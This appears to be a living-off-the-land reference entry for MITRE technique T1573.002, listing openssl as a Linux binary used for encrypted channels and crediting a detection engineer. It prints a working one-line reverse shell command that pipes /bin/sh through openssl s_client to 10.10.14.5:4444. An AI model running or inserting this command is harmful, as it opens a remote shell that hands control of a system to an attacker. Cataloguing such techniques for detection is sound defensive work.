T1573.002: Technique T1573.002
Adversaries may leverage living-off-the-land techniques (T1573.002) to achieve execution, evade defenses, or transfer tools.
Total Capable Binaries: 1
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Windows: 0
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Linux: 1
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macOS: 0
Living-off-the-Land Matrix for T1573.002
Across 1 verified binariesLinux1 payloads
openssl
OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.
Sample Attack Vector:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/sCurated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point